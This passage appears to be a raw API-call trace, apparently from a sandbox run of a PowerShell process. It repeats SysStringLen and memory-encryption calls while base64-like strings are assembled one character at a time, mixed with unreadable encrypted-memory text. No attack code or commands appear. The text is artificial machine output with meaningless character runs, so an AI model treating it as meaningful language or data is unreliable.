| out: Memory=0x5c640ac) returned 0x0 [0223.255] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่ꧮ핧絆尉䔁\ꓟ詡丑") returned 0x18 [0223.255] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่ꧮ핧絆尉䔁\ꓟ詡丑") returned 0x18 [0223.255] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.255] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC") returned 0x18 [0223.255] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.255] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押∇) returned 0x18 [0223.256] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押∇) returned 0x18 [0223.256] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押∇) returned 0x18 [0223.256] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押∇) returned 0x20 [0223.256] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.256] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7⍳㻵鞿࿕쿅쩙") returned 0x20 [0223.256] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.256] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押ง䢦㙬ꪍ퐃⿉厷⛘≯) returned 0x20 [0223.256] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押ง䢦㙬ꪍ퐃⿉厷⛘≯) returned 0x20 [0223.256] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.257] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+㻵鞿࿕쿅쩙") returned 0x20 [0223.257] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.257] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押ꄇ뉿舢邔帺붣⋞) returned 0x20 [0223.257] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押ꄇ뉿舢邔帺붣⋞) returned 0x20 [0223.257] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.257] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+k鞿࿕쿅쩙") returned 0x20 [0223.257] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.257] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押焇鸓絔㼫팼Ⱍꈢ苰∏) returned 0x20 [0223.257] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押焇鸓絔㼫팼Ⱍꈢ苰∏) returned 0x20 [0223.257] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.257] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kU࿕쿅쩙") returned 0x20 [0223.257] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.258] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押贇滭㺚硐⨷앙췃⊛) returned 0x20 [0223.258] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押贇滭㺚硐⨷앙췃⊛) returned 0x20 [0223.258] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.258] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh࿕쿅쩙") returned 0x20 [0223.258] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.258] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押踇윌웍樯⨯㗲⊭) returned 0x20 [0223.258] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押踇윌웍樯⨯㗲⊭) returned 0x20 [0223.258] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.258] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9쿅쩙") returned 0x20 [0223.258] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.258] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押뜇ꈟ惌ᕹ쨽ᐨ≼) returned 0x20 [0223.258] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押뜇ꈟ惌ᕹ쨽ᐨ≼) returned 0x20 [0223.258] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.259] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9M쩙") returned 0x20 [0223.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.259] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押䬇쟿䝦减蓎뚰ꥑ榿∴) returned 0x20 [0223.259] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押䬇쟿䝦减蓎뚰ꥑ榿∴) returned 0x20 [0223.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.259] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ") returned 0x20 [0223.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.259] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證≽) returned 0x20 [0223.259] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證≽) returned 0x20 [0223.259] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證≽) returned 0x20 [0223.260] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證≽) returned 0x28 [0223.260] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.260] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7ځ乳彇茭夶㫪낰") returned 0x28 [0223.260] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.260] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證롽\ꏘ嘦祿協⡢曭험") returned 0x28 [0223.260] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證롽\ꏘ嘦祿協⡢曭험") returned 0x28 [0223.260] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.260] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7O乳彇茭夶㫪낰") returned 0x28 [0223.260] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.260] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證꥽࿆騬㓼\䗞ﴨ") returned 0x28 [0223.260] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證꥽࿆騬㓼\䗞ﴨ") returned 0x28 [0223.260] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.261] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB彇茭夶㫪낰") returned 0x28 [0223.261] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.261] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證왽鱗䲳惓⻩ݘ⊀) returned 0x28 [0223.261] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證왽鱗䲳惓⻩ݘ⊀) returned 0x28 [0223.261] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.261] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9茭夶㫪낰") returned 0x28 [0223.261] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.261] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證嵽嘯ꩄ꽱莉ａ\ﲠ") returned 0x28 [0223.261] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證嵽嘯ꩄ꽱莉ａ\ﲠ") returned 0x28 [0223.261] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.261] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9L夶㫪낰") returned 0x28 [0223.261] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.262] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證蝽죝邥ᧁ蕴栈렄∫) returned 0x28 [0223.262] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證蝽죝邥ᧁ蕴栈렄∫) returned 0x28 [0223.262] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.262] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9Lr㫪낰") returned 0x28 [0223.262] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.262] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證\퇞㖨괛ꛦ趔鵛㔀◅") returned 0x28 [0223.262] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證\퇞㖨괛ꛦ趔鵛㔀◅") returned 0x28 [0223.262] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.262] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9Lr6낰") returned 0x28 [0223.262] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.262] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證락ᜱ㗧漯躮詢⊾) returned 0x28 [0223.262] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證락ᜱ㗧漯躮詢⊾) returned 0x28 [0223.262] SystemFunction041 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.263] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9Lr6Q") returned 0x28 [0223.263] SystemFunction040 (in: Memory=0x5c9222c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9222c) returned 0x0 [0223.263] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠∡) returned 0x28 [0223.263] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠∡) returned 0x28 [0223.263] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠∡) returned 0x28 [0223.263] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠∡) returned 0x30 [0223.263] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0223.264] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9Lr6QY벍､湟哗蝶Ꮂ") returned 0x30 [0223.264] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0223.264] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠爡ￖ繛燴➣鰕ꨫ≋) returned 0x30 [0223.264] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠爡ￖ繛燴➣鰕ꨫ≋) returned 0x30 [0223.264] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0223.264] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9Lr6QYp､湟哗蝶Ꮂ") returned 0x30 [0223.264] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0223.264] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠䴡탷\짛䂁᭿ᚧ뢝塕") returned 0x30 [0223.264] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠䴡탷\짛䂁᭿ᚧ뢝塕") returned 0x30 [0223.264] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0223.264] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9Lr6QYp8湟哗蝶Ꮂ") returned 0x30 [0223.264] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0223.264] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠嘡䍒屵顱磮櫏ꝼ⋰) returned 0x30 [0223.264] SysStringLen (param_1="ꔑ繏\ߝ೓䄮亯䱎ꇕ貭ঘᝮ่糮鰛煉脭ꩣ뚹押瀇ᓾᨾ褹싥䤈駯證᠒඄醈㣔য়성칠嘡䍒屵顱磮櫏ꝼ⋰) returned 0x30 [0223.265] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0223.265] SysStringLen (param_1="TglkIAgi4UW3nJoJaOiF0ixC7+kUh9MQ7OB9Lr6QYp8=哗蝶Ꮂ") returned 0x30 [0223.265] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0223.265] EtwEventActivityIdControl () returned 0x0 [0223.265] EtwEventActivityIdControl () returned 0x0 [0223.265] EtwEventActivityIdControl () returned 0x0 [0223.266] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.266] EtwEventActivityIdControl () returned 0x0 [0223.266] EtwEventActivityIdControl () returned 0x0 [0223.266] EtwEventActivityIdControl () returned 0x0 [0223.267] SysStringLen (param_1="") returned 0x8 [0223.267] SysStringLen (param_1="N") returned 0x8 [0223.267] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.267] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0223.267] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0223.267] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.267] SysStringLen (param_1="ND") returned 0x8 [0223.267] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.267] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0223.267] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0223.268] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.320] SysStringLen (param_1="NDZ") returned 0x8 [0223.320] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.320] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0223.320] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0223.320] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.320] SysStringLen (param_1="NDZl") returned 0x8 [0223.320] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.321] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0223.321] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0223.321] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.321] SysStringLen (param_1="NDZlO") returned 0x8 [0223.321] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.321] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0223.321] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0223.321] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.321] SysStringLen (param_1="NDZlOD") returned 0x8 [0223.321] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.321] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0223.321] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0223.321] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.321] SysStringLen (param_1="NDZlODR") returned 0x8 [0223.322] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.322] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0223.322] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0223.322] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.322] SysStringLen (param_1="NDZlODRm") returned 0x8 [0223.322] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.322] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0223.322] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0223.322] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0223.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0223.323] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.323] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0223.323] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0223.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0223.323] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.323] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0223.323] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0223.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0223.324] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.324] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0223.324] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0223.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0223.324] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.324] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0223.324] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0223.324] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0223.325] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.325] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0223.325] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0223.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0223.325] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.325] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0223.325] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0223.325] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0223.325] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.325] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0223.325] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0223.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0223.326] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.326] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0223.326] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0223.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0223.326] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0223.327] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0223.327] SystemFunction041 (in: 